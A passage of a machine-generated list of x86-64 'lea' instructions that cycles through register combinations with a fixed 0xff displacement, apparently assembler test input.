lea r13, [r15 + r13 + 0xff] lea r13, [r15 + r14 + 0xff] lea r13, [r15 + r15 + 0xff] lea r13, [r15 + rsp + 0xff] lea r13, [r15 + rsi + 0xff] lea r13, [r15 + rbp + 0xff] lea r13, [rsp + rax + 0xff] lea r13, [rsp + rbx + 0xff] lea r13, [rsp + rcx + 0xff] lea r13, [rsp + rdx + 0xff] lea r13, [rsp + rdi + 0xff] lea r13, [rsp + r8 + 0xff] lea r13, [rsp + r9 + 0xff] lea r13, [rsp + r10 + 0xff] lea r13, [rsp + r11 + 0xff] lea r13, [rsp + r12 + 0xff] lea r13, [rsp + r13 + 0xff] lea r13, [rsp + r14 + 0xff] lea r13, [rsp + r15 + 0xff] lea r13, [rsp + rsi + 0xff] lea r13, [rsp + rbp + 0xff] lea r13, [rsi + rax + 0xff] lea r13, [rsi + rbx + 0xff] lea r13, [rsi + rcx + 0xff] lea r13, [rsi + rdx + 0xff] lea r13, [rsi + rdi + 0xff] lea r13, [rsi + r8 + 0xff] lea r13, [rsi + r9 + 0xff] lea r13, [rsi + r10 + 0xff] lea r13, [rsi + r11 + 0xff] lea r13, [rsi + r12 + 0xff] lea r13, [rsi + r13 + 0xff] lea r13, [rsi + r14 + 0xff] lea r13, [rsi + r15 + 0xff] lea r13, [rsi + rsp + 0xff] lea r13, [rsi + rsi + 0xff] lea r13, [rsi + rbp + 0xff] lea r13, [rbp + rax + 0xff] lea r13, [rbp + rbx + 0xff] lea r13, [rbp + rcx + 0xff] lea r13, [rbp + rdx + 0xff] lea r13, [rbp + rdi + 0xff] lea r13, [rbp + r8 + 0xff] lea r13, [rbp + r9 + 0xff] lea r13, [rbp + r10 + 0xff] lea r13, [rbp + r11 + 0xff] lea r13, [rbp + r12 + 0xff] lea r13, [rbp + r13 + 0xff] lea r13, [rbp + r14 + 0xff] lea r13, [rbp + r15 + 0xff] lea r13, [rbp + rsp + 0xff] lea r13, [rbp + rsi + 0xff] lea r13, [rbp + rbp + 0xff] lea r14, [rax + rax + 0xff] lea r14, [rax + rbx + 0xff] lea r14, [rax + rcx + 0xff] lea r14, [rax + rdx + 0xff] lea r14, [rax + rdi + 0xff] lea r14, [rax + r8 + 0xff] lea r14, [rax + r9 + 0xff] lea r14, [rax + r10 + 0xff] lea r14, [rax + r11 + 0xff] lea r14, [rax + r12 + 0xff] lea r14, [rax + r13 + 0xff] lea r14, [rax + r14 + 0xff] lea r14, [rax + r15 + 0xff] lea r14, [rax + rsp + 0xff] lea r14, [rax + rsi + 0xff] lea r14, [rax + rbp + 0xff] lea r14, [rbx + rax + 0xff] lea r14, [rbx + rbx + 0xff] lea r14, [rbx + rcx + 0xff] lea r14, [rbx + rdx + 0xff] lea r14, [rbx + rdi + 0xff] lea r14, [rbx + r8 + 0xff] lea r14, [rbx + r9 + 0xff] lea r14, [rbx + r10 + 0xff] lea r14, [rbx + r11 + 0xff] lea r14, [rbx + r12 + 0xff] lea r14, [rbx + r13 + 0xff] lea r14, [rbx + r14 + 0xff] lea r14, [rbx + r15 + 0xff] lea r14, [rbx + rsp + 0xff] lea r14, [rbx + rsi + 0xff] lea r14, [rbx + rbp + 0xff] lea r14, [rcx + rax + 0xff] lea r14, [rcx + rbx + 0xff] lea r14, [rcx + rcx + 0xff] lea r14, [rcx + rdx + 0xff] lea r14, [rcx + rdi + 0xff] lea r14, [rcx + r8 + 0xff] lea r14, [rcx + r9 + 0xff] lea r14, [rcx + r10 + 0xff] lea r14, [rcx + r11 + 0xff] lea r14, [rcx + r12 + 0xff] lea r14, [rcx + r13 + 0xff] lea r14, [rcx + r14 + 0xff] lea r14, [rcx + r15 + 0xff] lea r14, [rcx + rsp + 0xff] lea r14, [rcx + rsi + 0xff] lea r14, [rcx + rbp + 0xff] lea r14, [rdx + rax + 0xff] lea r14, [rdx + rbx + 0xff] lea r14, [rdx + rcx + 0xff] lea r14, [rdx + rdx + 0xff] lea r14, [rdx + rdi + 0xff] lea r14, [rdx + r8 + 0xff] lea r14, [rdx + r9 + 0xff] lea r14, [rdx + r10 + 0xff] lea r14, [rdx + r11 + 0xff] lea r14, [rdx + r12 + 0xff] lea r14, [rdx + r13 + 0xff] lea r14, [rdx + r14 + 0xff] lea r14, [rdx + r15 + 0xff] lea r14, [rdx + rsp + 0xff] lea r14, [rdx + rsi + 0xff] lea r14, [rdx + rbp + 0xff] lea r14, [rdi + rax + 0xff] lea r14, [rdi + rbx + 0xff] lea r14, [rdi + rcx + 0xff] lea r14, [rdi + rdx + 0xff] lea r14, [rdi + rdi + 0xff] lea r14, [rdi + r8 + 0xff] lea r14, [rdi + r9 + 0xff] lea r14, [rdi + r10 + 0xff] lea r14, [rdi + r11 + 0xff] lea r14, [rdi + r12 + 0xff] lea r14, [rdi + r13 + 0xff] lea r14, [rdi + r14 + 0xff] lea r14, [rdi + r15 + 0xff] lea r14, [rdi + rsp + 0xff] lea r14, [rdi + rsi + 0xff] lea r14, [rdi + rbp + 0xff] lea r14, [r8 + rax + 0xff] lea r14, [r8 + rbx + 0xff] lea r14, [r8 + rcx + 0xff] lea r14, [r8 + rdx + 0xff] lea r14, [r8 + rdi + 0xff] lea r14, [r8 + r8 + 0xff] lea r14, [r8 + r9 + 0xff] lea r14, [r8 + r10 + 0xff] lea r14, [r8 + r11 + 0xff] lea r14, [r8 + r12 + 0xff] lea r14, [r8 + r13 + 0xff] lea r14, [r8 + r14 + 0xff] lea r14, [r8 + r15 + 0xff] lea r14, [r8 + rsp + 0xff] lea r14, [r8 + rsi + 0xff] lea r14, [r8 + rbp + 0xff] lea r14, [r9 + rax + 0xff] lea r14, [r9 + rbx + 0xff] lea r14, [r9 + rcx + 0xff] lea r14, [r9 + rdx + 0xff] lea r14, [r9 + rdi + 0xff] lea r14, [r9 + r8 + 0xff] lea r14, [r9 + r9 + 0xff] lea r14, [r9 + r10 + 0xff] lea r14, [r9 + r11 + 0xff] lea r14, [r9 + r12 + 0xff] lea r14, [r9 + r13 + 0xff] lea r14, [r9 + r14 + 0xff] lea r14, [r9 + r15 + 0xff] lea r14, [r9 + rsp + 0xff] lea r14, [r9 + rsi + 0xff] lea r14, [r9 + rbp + 0xff] lea r14, [r10 + rax + 0xff] lea r14, [r10 + rbx + 0xff] lea r14, [r10 + rcx + 0xff] lea r14, [r10 + rdx + 0xff] lea r14, [r10 + rdi + 0xff] lea r14, [r10 + r8 + 0xff] lea r14, [r10 + r9 + 0xff] lea r14, [r10 + r10 + 0xff] lea r14, [r10 + r11 + 0xff] lea r14, [r10 + r12 + 0xff] lea r14, [r10 + r13 + 0xff] lea r14, [r10 + r14 + 0xff] lea r14, [r10 + r15 + 0xff] lea r14, [r10 + rsp + 0xff] lea r14, [r10 + rsi + 0xff] lea r14, [r10 + rbp + 0xff] lea r14, [r11 + rax + 0xff] lea r14, [r11 + rbx + 0xff] lea r14, [r11 + rcx + 0xff] lea r14, [r11 + rdx + 0xff] lea r14, [r11 + rdi + 0xff] lea r14, [r11 + r8 + 0xff] lea r14, [r11 + r9 + 0xff] lea r14, [r11 + r10 + 0xff] lea r14, [r11 + r11 + 0xff] lea r14, [r11 + r12 + 0xff] lea r14, [r11 + r13 + 0xff] lea r14, [r11 + r14 + 0xff] lea r14, [r11 + r15 + 0xff] lea r14, [r11 + rsp + 0xff] lea r14, [r11 + rsi + 0xff] lea r14, [r11 + rbp + 0xff] lea r14, [r12 + rax + 0xff] lea r14, [r12 + rbx + 0xff] lea r14, [r12 + rcx + 0xff] lea r14, [r12 + rdx + 0xff] lea r14, [r12 + rdi + 0xff] lea r14, [r12 + r8 + 0xff] lea r14, [r12 + r9 + 0xff] lea r14, [r12 + r10 + 0xff] lea r14, [r12 + r11 + 0xff] lea r14, [r12 + r12 + 0xff] lea r14, [r12 + r13 + 0xff] lea r14, [r12 + r14 + 0xff] lea r14, [r12 + r15 + 0xff] lea r14, [r12 + rsp + 0xff] lea r14, [r12 + rsi + 0xff] lea r14, [r12 + rbp + 0xff] lea r14, [r13 + rax + 0xff] lea r14, [r13 + rbx + 0xff] lea r14, [r13 + rcx + 0xff] lea r14, [r13 + rdx + 0xff] lea r14, [r13 + rdi + 0xff] lea r14, [r13 + r8 + 0xff] lea r14, [r13 + r9 + 0xff] lea r14, [r13 + r10 + 0xff] lea r14, [r13 + r11 + 0xff] lea r14, [r13 + r12 + 0xff] lea r14, [r13 + r13 + 0xff] lea r14, [r13 + r14 + 0xff] lea r14, [r13 + r15 + 0xff] lea r14, [r13 + rsp + 0xff] lea r14, [r13 + rsi + 0xff] lea r14, [r13 + rbp + 0xff] lea r14, [r14 + rax + 0xff] lea r14, [r14 + rbx + 0xff] lea r14, [r14 + rcx + 0xff] lea r14, [r14 + rdx + 0xff] lea r14, [r14 + rdi + 0xff] lea r14, [r14 + r8 + 0xff] lea r14, [r14 + r9 + 0xff] lea r14, [r14 + r10 + 0xff] lea r14, [r14 + r11 + 0xff] lea r14, [r14 + r12 + 0xff] lea r14, [r14 + r13 + 0xff] lea r14, [r14 + r14 + 0xff] lea r14, [r14 + r15 + 0xff] lea r14, [r14 + rsp + 0xff] lea r14, [r14 + rsi + 0xff] lea r14, [r14 + rbp + 0xff] lea r14, [r15 + rax + 0xff] lea r14, [r15 + rbx + 0xff] lea r14, [r15 + rcx + 0xff] lea r14, [r15 + rdx + 0xff] lea r14, [r15 + rdi + 0xff] lea r14, [r15 + r8 + 0xff] lea r14, [r15 + r9 + 0xff] lea r14, [r15 + r10 + 0xff] lea r14, [r15 + r11 + 0xff] lea r14, [r15 + r12 + 0xff] lea r14, [r15 + r13 + 0xff] lea r14, [r15 + r14 + 0xff] lea r14, [r15 + r15 + 0xff] lea r14, [r15 + rsp + 0xff] lea r14, [r15 + rsi + 0xff] lea r14, [r15 + rbp + 0xff] lea r14, [rsp + rax + 0xff] lea r14, [rsp + rbx + 0xff] lea r14, [rsp + rcx + 0xff] lea r14, [rsp + rdx + 0xff] lea r14, [rsp + rdi + 0xff] lea r14, [rsp + r8 + 0xff] lea r14, [rsp + r9 + 0xff] lea r14, [rsp + r10 + 0xff] lea r14, [rsp + r11 + 0xff] lea r14, [rsp + r12 + 0xff] lea r14, [rsp + r13 + 0xff] lea r14, [rsp + r14 + 0xff] lea r14, [rsp + r15 + 0xff] lea r14, [rsp + rsi + 0xff] lea r14, [rsp + rbp + 0xff] lea r14, [rsi + rax + 0xff] lea r14, [rsi + rbx + 0xff] lea r14, [rsi + rcx + 0xff] lea r14, [rsi + rdx + 0xff] lea r14, [rsi + rdi + 0xff] lea r14, [rsi + r8 + 0xff] lea r14, [rsi + r9 + 0xff] lea r14, [rsi + r10 + 0xff] lea r14, [rsi + r11 + 0xff] lea r14, [rsi + r12 + 0xff] lea r14, [rsi + r13 + 0xff] lea r14, [rsi + r14 + 0xff] lea r14, [rsi + r15 + 0xff] lea r14, [rsi + rsp + 0xff] lea r14, [rsi + rsi + 0xff] lea r14, [rsi + rbp + 0xff] lea r14, [rbp + rax + 0xff] lea r14, [rbp + rbx + 0xff] lea r14, [rbp + rcx + 0xff] lea r14, [rbp + rdx + 0xff] lea r14, [rbp + rdi + 0xff] lea r14, [rbp + r8 + 0xff] lea r14, [rbp + r9 + 0xff] lea r14, [rbp + r10 + 0xff] lea r14, [rbp + r11 + 0xff] lea r14, [rbp + r12 + 0xff] lea r14, [rbp + r13 + 0xff] lea r14, [rbp + r14 + 0xff] lea r14, [rbp + r15 + 0xff] lea r14, [rbp + rsp + 0xff] lea r14, [rbp + rsi + 0xff] lea r14, [rbp + rbp + 0xff] lea r15, [rax + rax + 0xff] lea r15, [rax + rbx + 0xff] lea r15, [rax + rcx + 0xff] lea r15, [rax + rdx + 0xff] lea r15, [rax + rdi + 0xff] lea r15, [rax + r8 + 0xff] lea r15, [rax + r9 + 0xff] lea r15, [rax + r10 + 0xff] lea r15, [rax + r11 + 0xff] lea r15, [rax + r12 + 0xff] lea r15, [rax + r13 + 0xff] lea r15, [rax + r14 + 0xff] lea r15, [rax + r15 + 0xff] lea r15, [rax + rsp + 0xff] lea r15, [rax + rsi + 0xff] lea r15, [rax + rbp + 0xff] lea r15, [rbx + rax + 0xff] lea r15, [rbx + rbx + 0xff] lea r15, [rbx + rcx + 0xff] lea r15, [rbx + rdx + 0xff] lea r15, [rbx + rdi + 0xff] lea r15, [rbx + r8 + 0xff] lea r15, [rbx + r9 + 0xff] lea r15, [rbx + r10 + 0xff] lea r15, [rbx + r11 + 0xff] lea r15, [rbx + r12 + 0xff] lea r15, [rbx + r13 + 0xff] lea r15, [rbx + r14 + 0xff] lea r15, [rbx + r15 + 0xff] lea r15, [rbx + rsp + 0xff] lea r15, [rbx + rsi + 0xff] lea r15, [rbx + rbp + 0xff] lea r15, [rcx + rax + 0xff] lea r15, [rcx + rbx + 0xff] lea r15, [rcx + rcx + 0xff] lea r15, [rcx + rdx + 0xff] lea r15, [rcx + rdi + 0xff] lea r15, [rcx + r8 + 0xff] lea r15, [rcx + r9 + 0xff] lea r15, [rcx + r10 + 0xff] lea r15, [rcx + r11 + 0xff] lea r15, [rcx + r12 + 0xff] lea r15, [rcx + r13 + 0xff] lea r15, [rcx + r14 + 0xff] lea r15, [rcx + r15 + 0xff] lea r15, [rcx + rsp + 0xff] lea r15, [rcx + rsi + 0xff] lea r15, [rcx + rbp + 0xff] lea r15, [rdx + rax + 0xff] lea r15, [rdx + rbx + 0xff] lea r15, [rdx + rcx + 0xff] lea r15, [rdx + rdx + 0xff] lea r15, [rdx + rdi + 0xff] lea r15, [rdx + r8 + 0xff] lea r15, [rdx + r9 + 0xff] lea r15, [rdx + r10 + 0xff] lea r15, [rdx + r11 + 0xff] lea r15, [rdx + r12 + 0xff] lea r15, [rdx + r13 + 0xff] lea r15, [rdx + r14 + 0xff] lea r15, [rdx + r15 + 0xff] lea r15, [rdx + rsp + 0xff] lea r15, [rdx + rsi + 0xff] lea r15, [rdx + rbp + 0xff] lea r15, [rdi + rax + 0xff] lea r15, [rdi + rbx + 0xff] lea r15, [rdi + rcx + 0xff] lea r15, [rdi + rdx + 0xff] lea r15, [rdi + rdi + 0xff] lea r15, [rdi + r8 + 0xff] lea r15, [rdi + r9 + 0xff] lea r15, [rdi + r10 + 0xff] lea r15, [rdi + r11 + 0xff] lea r15, [rdi + r12 + 0xff] lea r15, [rdi + r13 + 0xff] lea r15, [rdi + r14 + 0xff] lea r15, [rdi + r15 + 0xff] lea r15, [rdi + rsp + 0xff] lea r15, [rdi + rsi + 0xff] lea r15, [rdi + rbp + 0xff] lea r15, [r8 + rax + 0xff] lea r15, [r8 + rbx + 0xff] lea r15, [r8 + rcx + 0xff] lea r15, [r8 + rdx + 0xff] lea r15, [r8 + rdi + 0xff] lea r15, [r8 + r8 + 0xff] lea r15, [r8 + r9 + 0xff] lea r15, [r8 + r10 + 0xff] lea r15, [r8 + r11 + 0xff] lea r15, [r8 + r12 + 0xff] lea r15, [r8 + r13 + 0xff] lea r15, [r8 + r14 + 0xff] lea r15, [r8 + r15 + 0xff] lea r15, [r8 + rsp + 0xff] lea r15, [r8 + rsi + 0xff] lea r15, [r8 + rbp + 0xff] lea r15, [r9 + rax + 0xff] lea r15, [r9 + rbx + 0xff] lea r15, [r9 + rcx + 0xff] lea r15, [r9 + rdx + 0xff] lea r15, [r9 + rdi + 0xff] lea r15, [r9 + r8 + 0xff] lea r15, [r9 + r9 + 0xff] lea r15, [r9 + r10 + 0xff] lea r15, [r9 + r11 + 0xff] lea r15, [r9 + r12 + 0xff] lea r15, [r9 + r13 + 0xff] lea r15, [r9 + r14 + 0xff] lea r15, [r9 + r15 + 0xff] lea r15, [r9 + rsp + 0xff] lea r15, [r9 + rsi + 0xff] lea r15, [r9 + rbp + 0xff] lea r15, [r10 + rax + 0xff] lea r15, [r10 + rbx + 0xff] lea r15, [r10 + rcx + 0xff] lea r15, [r10 + rdx + 0xff] lea r15, [r10 + rdi + 0xff] lea r15, [r10 + r8 + 0xff] lea r15, [r10 + r9 + 0xff] lea r15, [r10 + r10 + 0xff] lea r15, [r10 + r11 + 0xff] lea r15, [r10 + r12 + 0xff] lea r15, [r10 + r13 + 0xff] lea r15, [r10 + r14 + 0xff] lea r15, [r10 + r15 + 0xff] lea r15, [r10 + rsp + 0xff] lea r15, [r10 + rsi + 0xff] lea r15, [r10 + rbp + 0xff] lea r15, [r11 + rax + 0xff] lea r15, [r11 + rbx + 0xff] lea r15, [r11 + rcx + 0xff] lea r15, [r11 + rdx + 0xff] lea r15, [r11 + rdi + 0xff] lea r15, [r11 + r8 + 0xff] lea r15, [r11 + r9 + 0xff] lea r15, [r11 + r10 + 0xff] lea r15, [r11 + r11 + 0xff] lea r15, [r11 + r12 + 0xff] lea r15, [r11 + r13 + 0xff] lea r15, [r11 + r14 + 0xff] lea r15, [r11 + r15 + 0xff] lea r15, [r11 + rsp + 0xff] lea r15, [r11 + rsi + 0xff] lea r15, [r11 + rbp + 0xff] lea r15, [r12 + rax + 0xff] lea r15, [r12 + rbx + 0xff] lea r15, [r12 + rcx + 0xff] lea r15, [r12 + rdx + 0xff] lea r15, [r12 + rdi + 0xff] lea r15, [r12 + r8 + 0xff] lea r15, [r12 + r9 + 0xff] lea r15, [r12 + r10 + 0xff] lea r15, [r12 + r11 + 0xff] lea r15, [r12 + r12 + 0xff] lea r15, [r12 + r13 + 0xff] lea r15, [r12 + r14 + 0xff] lea r15, [r12 + r15 + 0xff] lea r15, [r12 + rsp + 0xff] lea r15, [r12 + rsi + 0xff] lea r15, [r12 + rbp + 0xff] lea r15, [r13 + rax + 0xff] lea r15, [r13 + rbx + 0xff] lea r15, [r13 + rcx + 0xff] lea r15, [r13 + rdx + 0xff] lea r15, [r13 + rdi + 0xff] lea r15, [r13 + r8 + 0xff] lea r15, [r13 + r9 + 0xff] lea r15, [r13 + r10 + 0xff] lea r15, [r13 + r11 + 0xff] lea r15, [r13 + r12 + 0xff] lea r15, [r13 + r13 + 0xff] lea r15, [r13 + r14 + 0xff] lea r15, [r13 + r15 + 0xff] lea r15, [r13 + rsp + 0xff] lea r15, [r13 + rsi + 0xff] lea r15, [r13 + rbp + 0xff] lea r15, [r14 + rax + 0xff] lea r15, [r14 + rbx + 0xff] lea r15, [r14 + rcx + 0xff] lea r15, [r14 + rdx + 0xff] lea r15, [r14 + rdi + 0xff] lea r15, [r14 + r8 + 0xff] lea r15, [r14 + r9 + 0xff] lea r15, [r14 + r10 + 0xff] lea r15, [r14 + r11 + 0xff] lea r15, [r14 + r12 + 0xff] lea r15, [r14 + r13 + 0xff] lea r15, [r14 + r14 + 0xff] lea r15, [r14 + r15 + 0xff] lea r15, [r14 + rsp + 0xff] lea r15, [r14 + rsi + 0xff] lea r15, [r14 + rbp + 0xff] lea r15, [r15 + rax + 0xff] lea r15, [r15 + rbx + 0xff] lea r15, [r15 + rcx + 0xff] lea r15, [r15 + rdx + 0xff] lea r15, [r15 + rdi + 0xff] lea r15, [r15 + r8 + 0xff] lea r15, [r15 + r9 + 0xff] lea r15, [r15 + r10 + 0xff] lea r15, [r15 + r11 + 0xff] lea r15, [r15 + r12 + 0xff] lea r15, [r15 + r13 + 0xff] lea r15, [r15 + r14 + 0xff] lea r15, [r15 + r15 + 0xff] lea r15, [r15 + rsp + 0xff] lea r15, [r15 + rsi + 0xff] lea r15, [r15 + rbp + 0xff] lea r15, [rsp + rax + 0xff] lea r15, [rsp + rbx + 0xff] lea r15, [rsp + rcx + 0xff] lea r15, [rsp + rdx + 0xff] lea r15, [rsp + rdi + 0xff] lea r15, [rsp + r8 + 0xff] lea r15, [rsp + r9 + 0xff] lea r15, [rsp + r10 + 0xff] lea r15, [rsp + r11 + 0xff] lea r15, [rsp + r12 + 0xff] lea r15, [rsp + r13 + 0xff] lea r15, [rsp + r14 + 0xff] lea r15, [rsp + r15 + 0xff] lea r15, [rsp + rsi + 0xff] lea r15, [rsp + rbp + 0xff] lea r15, [rsi + rax + 0xff] lea r15, [rsi + rbx + 0xff] lea r15, [rsi + rcx + 0xff] lea r15, [rsi + rdx + 0xff] lea r15, [rsi + rdi + 0xff] lea r15, [rsi + r8 + 0xff] lea r15, [rsi + r9 + 0xff] lea r15, [rsi + r10 + 0xff] lea r15, [rsi + r11 + 0xff] lea r15, [rsi + r12 + 0xff] lea r15, [rsi + r13 + 0xff] lea r15, [rsi + r14 + 0xff] lea r15, [rsi + r15 + 0xff] lea r15, [rsi + rsp + 0xff] lea r15, [rsi + rsi + 0xff] lea r15, [rsi + rbp + 0xff] lea r15, [rbp + rax + 0xff] lea r15, [rbp + rbx + 0xff] lea r15, [rbp + rcx + 0xff] lea r15, [rbp + rdx + 0xff] lea r15, [rbp + rdi + 0xff] lea r15, [rbp + r8 + 0xff] lea r15, [rbp + r9 + 0xff] lea r15, [rbp + r10 + 0xff] lea r15, [rbp + r11 + 0xff] lea r15, [rbp + r12 + 0xff] lea r15, [rbp + r13 + 0xff] lea r15, [rbp + r14 + 0xff] lea r15, [rbp + r15 + 0xff] lea r15, [rbp + rsp + 0xff] lea r15, [rbp + rsi + 0xff] lea r15, [rbp + rbp + 0xff] lea rsp, [rax + rax + 0xff] lea rsp, [rax + rbx + 0xff] lea rsp, [rax + rcx + 0xff] lea rsp, [rax + rdx + 0xff] lea rsp, [rax + rdi + 0xff] lea rsp, [rax + r8 + 0xff] lea rsp, [rax + r9 + 0xff] lea rsp, [rax + r10 + 0xff] lea rsp, [rax + r11 + 0xff] lea rsp, [rax + r12 + 0xff] lea rsp, [rax + r13 + 0xff] lea rsp, [rax + r14 + 0xff] lea rsp, [rax + r15 + 0xff] lea rsp, [rax + rsp + 0xff] lea rsp, [rax + rsi + 0xff] lea rsp, [rax + rbp + 0xff] lea rsp, [rbx + rax + 0xff] lea rsp, [rbx + rbx + 0xff] lea rsp, [rbx + rcx + 0xff] lea rsp, [rbx + rdx + 0xff] lea rsp, [rbx + rdi + 0xff] lea rsp, [rbx + r8 + 0xff] lea rsp, [rbx + r9 + 0xff] lea rsp, [rbx + r10 + 0xff] lea rsp, [rbx + r11 + 0xff] lea rsp, [rbx + r12 + 0xff] lea rsp, [rbx + r13 + 0xff] lea rsp, [rbx + r14 + 0xff] lea rsp, [rbx + r15 + 0xff] lea rsp, [rbx + rsp + 0xff] lea rsp, [rbx + rsi + 0xff] lea rsp, [rbx + rbp + 0xff] lea rsp, [rcx + rax + 0xff] lea rsp, [rcx + rbx + 0xff] lea rsp, [rcx + rcx + 0xff] lea rsp, [rcx + rdx + 0xff] lea rsp, [rcx + rdi + 0xff] lea rsp, [rcx + r8 + 0xff] lea rsp, [rcx + r9 + 0xff] lea rsp, [rcx + r10 + 0xff] lea rsp, [rcx + r11 + 0xff] lea rsp, [rcx + r12 + 0xff] lea rsp, [rcx + r13 + 0xff] lea rsp, [rcx + r14 + 0xff] lea rsp, [rcx + r15 + 0xff] lea rsp, [rcx + rsp + 0xff] lea rsp, [rcx + rsi + 0xff] lea rsp, [rcx + rbp + 0xff] lea rsp, [rdx + rax + 0xff] lea rsp, [rdx + rbx + 0xff] lea rsp, [rdx + rcx + 0xff] lea rsp, [rdx + rdx + 0xff] lea rsp, [rdx + rdi + 0xff] lea rsp, [rdx + r8 + 0xff] lea rsp, [rdx + r9 + 0xff] lea rsp, [rdx + r10 + 0xff] lea rsp, [rdx + r11 + 0xff] lea rsp, [rdx + r12 + 0xff] lea rsp, [rdx + r13 + 0xff] lea rsp, [rdx + r14 + 0xff] lea rsp, [rdx + r15 + 0xff] lea rsp, [rdx + rsp + 0xff] lea rsp, [rdx + rsi + 0xff] lea rsp, [rdx + rbp + 0xff] lea rsp, [rdi + rax + 0xff] lea rsp, [rdi + rbx + 0xff] lea rsp, [rdi + rcx + 0xff] lea rsp, [rdi + rdx + 0xff] lea rsp, [rdi + rdi + 0xff] lea rsp, [rdi + r8 + 0xff] lea rsp, [rdi + r9 + 0xff] lea rsp, [rdi + r10 + 0xff] lea rsp, [rdi + r11 + 0xff] lea rsp, [rdi + r12 + 0xff] lea rsp, [rdi + r13 + 0xff] lea rsp, [rdi + r14 + 0xff] lea rsp, [rdi + r15 + 0xff] lea rsp, [rdi + rsp + 0xff] lea rsp, [rdi + rsi + 0xff] lea rsp, [rdi + rbp + 0xff] lea rsp, [r8 + rax + 0xff] lea rsp, [r8 + rbx + 0xff] lea rsp, [r8 + rcx + 0xff] lea rsp, [r8 + rdx + 0xff] lea rsp, [r8 + rdi + 0xff] lea rsp, [r8 + r8 + 0xff] lea rsp, [r8 + r9 + 0xff] lea rsp, [r8 + r10 + 0xff] lea rsp, [r8 + r11 + 0xff] lea rsp, [r8 + r12 + 0xff] lea rsp, [r8 + r13 + 0xff] lea rsp, [r8 + r14 + 0xff] lea rsp, [r8 + r15 + 0xff] lea rsp, [r8 + rsp + 0xff] lea rsp, [r8 + rsi + 0xff] lea rsp, [r8 + rbp + 0xff] lea rsp, [r9 + rax + 0xff] lea rsp, [r9 + rbx + 0xff] lea rsp, [r9 + rcx + 0xff] lea rsp, [r9 + rdx + 0xff] lea rsp, [r9 + rdi + 0xff] lea rsp, [r9 + r8 + 0xff] lea rsp, [r9 + r9 + 0xff] lea rsp, [r9 + r10 + 0xff] lea rsp, [r9 + r11 + 0xff] lea rsp, [r9 + r12 + 0xff] lea rsp, [r9 + r13 + 0xff] lea rsp, [r9 + r14 + 0xff] lea rsp, [r9 + r15 + 0xff] lea rsp, [r9 + rsp + 0xff] lea rsp, [r9 + rsi + 0xff] lea rsp, [r9 + rbp + 0xff] lea rsp, [r10 + rax + 0xff] lea rsp, [r10 + rbx + 0xff] lea rsp, [r10 + rcx + 0xff] lea rsp, [r10 + rdx + 0xff] lea rsp, [r10 + rdi + 0xff] lea rsp, [r10 + r8 + 0xff] lea rsp, [r10 + r9 + 0xff] lea rsp, [r10 + r10 + 0xff] lea rsp, [r10 + r11 + 0xff] lea rsp, [r10 + r12 + 0xff] lea rsp, [r10 + r13 + 0xff] lea rsp, [r10 + r14 + 0xff] lea rsp, [r10 + r15 + 0xff] lea rsp, [r10 + rsp + 0xff] lea rsp, [r10 + rsi + 0xff] lea rsp, [r10 + rbp + 0xff] lea rsp, [r11 + rax + 0xff] lea rsp, [r11 + rbx + 0xff] lea rsp, [r11 + rcx + 0xff] lea rsp, [r11 + rdx + 0xff] lea rsp, [r11 + rdi + 0xff] lea rsp, [r11 + r8 + 0xff] lea rsp, [r11 + r9 + 0xff] lea rsp, [r11 + r10 + 0xff] lea rsp, [r11 + r11 + 0xff] lea rsp, [r11 + r12 + 0xff] lea rsp, [r11 + r13 + 0xff] lea rsp, [r11 + r14 + 0xff] lea rsp, [r11 + r15 + 0xff] lea rsp, [r11 + rsp + 0xff] lea rsp, [r11 + rsi + 0xff] lea rsp, [r11 + rbp + 0xff] lea rsp, [r12 + rax + 0xff] lea rsp, [r12 + rbx + 0xff] lea rsp, [r12 + rcx + 0xff] lea rsp, [r12 + rdx + 0xff] lea rsp, [r12 + rdi + 0xff] lea rsp, [r12 + r8 + 0xff] lea rsp, [r12 + r9 + 0xff] lea rsp, [r12 + r10 + 0xff] lea rsp, [r12 + r11 + 0xff] lea rsp, [r12 + r12 + 0xff] lea rsp, [r12 + r13 + 0xff] lea rsp, [r12 + r14 + 0xff] lea rsp, [r12 + r15 + 0xff] lea rsp, [r12 + rsp + 0xff] lea rsp, [r12 + rsi + 0xff] lea rsp, [r12 + rbp + 0xff] lea rsp, [r13 + rax + 0xff] lea rsp, [r13 + rbx + 0xff] lea rsp, [r13 + rcx + 0xff] lea rsp, [r13 + rdx + 0xff] lea rsp, [r13 + rdi + 0xff] lea rsp, [r13 + r8 + 0xff] lea rsp, [r13 + r9 + 0xff] lea rsp, [r13 + r10 + 0xff] lea rsp, [r13 + r11 + 0xff] lea rsp, [r13 + r12 + 0xff] lea rsp, [r13 + r13 + 0xff] lea rsp, [r13 + r14 + 0xff] lea rsp, [r13 + r15 + 0xff] lea rsp, [r13 + rsp + 0xff] lea rsp, [r13 + rsi + 0xff] lea rsp, [r13 + rbp + 0xff] lea rsp, [r14 + rax + 0xff] lea rsp, [r14 + rbx + 0xff] lea rsp, [r14 + rcx + 0xff] lea rsp, [r14 + rdx + 0xff] lea rsp, [r14 + rdi + 0xff] lea rsp, [r14 + r8 + 0xff] lea rsp, [r14 + r9 + 0xff] lea rsp, [r14 + r10 + 0xff] lea rsp, [r14 + r11 + 0xff] lea rsp, [r14 + r12 + 0xff] lea rsp, [r14 + r13 + 0xff] lea rsp, [r14 + r14 + 0xff] lea rsp, [r14 + r15 + 0xff] lea rsp, [r14 + rsp + 0xff] lea rsp, [r14 + rsi + 0xff] lea rsp, [r14 + rbp + 0xff] lea rsp, [r15 + rax + 0xff] lea rsp, [r15 + rbx + 0xff] lea rsp, [r15 + rcx + 0xff] lea rsp, [r15 + rdx + 0xff] lea rsp, [r15 + rdi + 0xff] lea rsp, [r15 + r8 + 0xff] lea rsp, [r15 + r9 + 0xff] lea rsp, [r15 + r10 + 0xff] lea rsp, [r15 + r11 + 0xff] lea rsp, [r15 + r12 + 0xff] lea rsp, [r15 + r13 + 0xff] lea rsp, [r15 + r14 + 0xff] lea rsp, [r15 + r15 + 0xff] lea rsp, [r15 + rsp + 0xff] lea rsp, [r15 + rsi + 0xff] lea rsp, [r15 + rbp + 0xff] lea rsp, [rsp + rax + 0xff] lea rsp, [rsp + rbx + 0xff] lea rsp, [rsp + rcx + 0xff] lea rsp, [rsp + rdx + 0xff] lea rsp, [rsp + rdi + 0xff] lea rsp, [rsp + r8 + 0xff] lea rsp, [rsp + r9 + 0xff] lea rsp, [rsp + r10 + 0xff] lea rsp, [rsp + r11 + 0xff] lea rsp, [rsp + r12 + 0xff] lea rsp, [rsp + r13 + 0xff] lea rsp, [rsp + r14 + 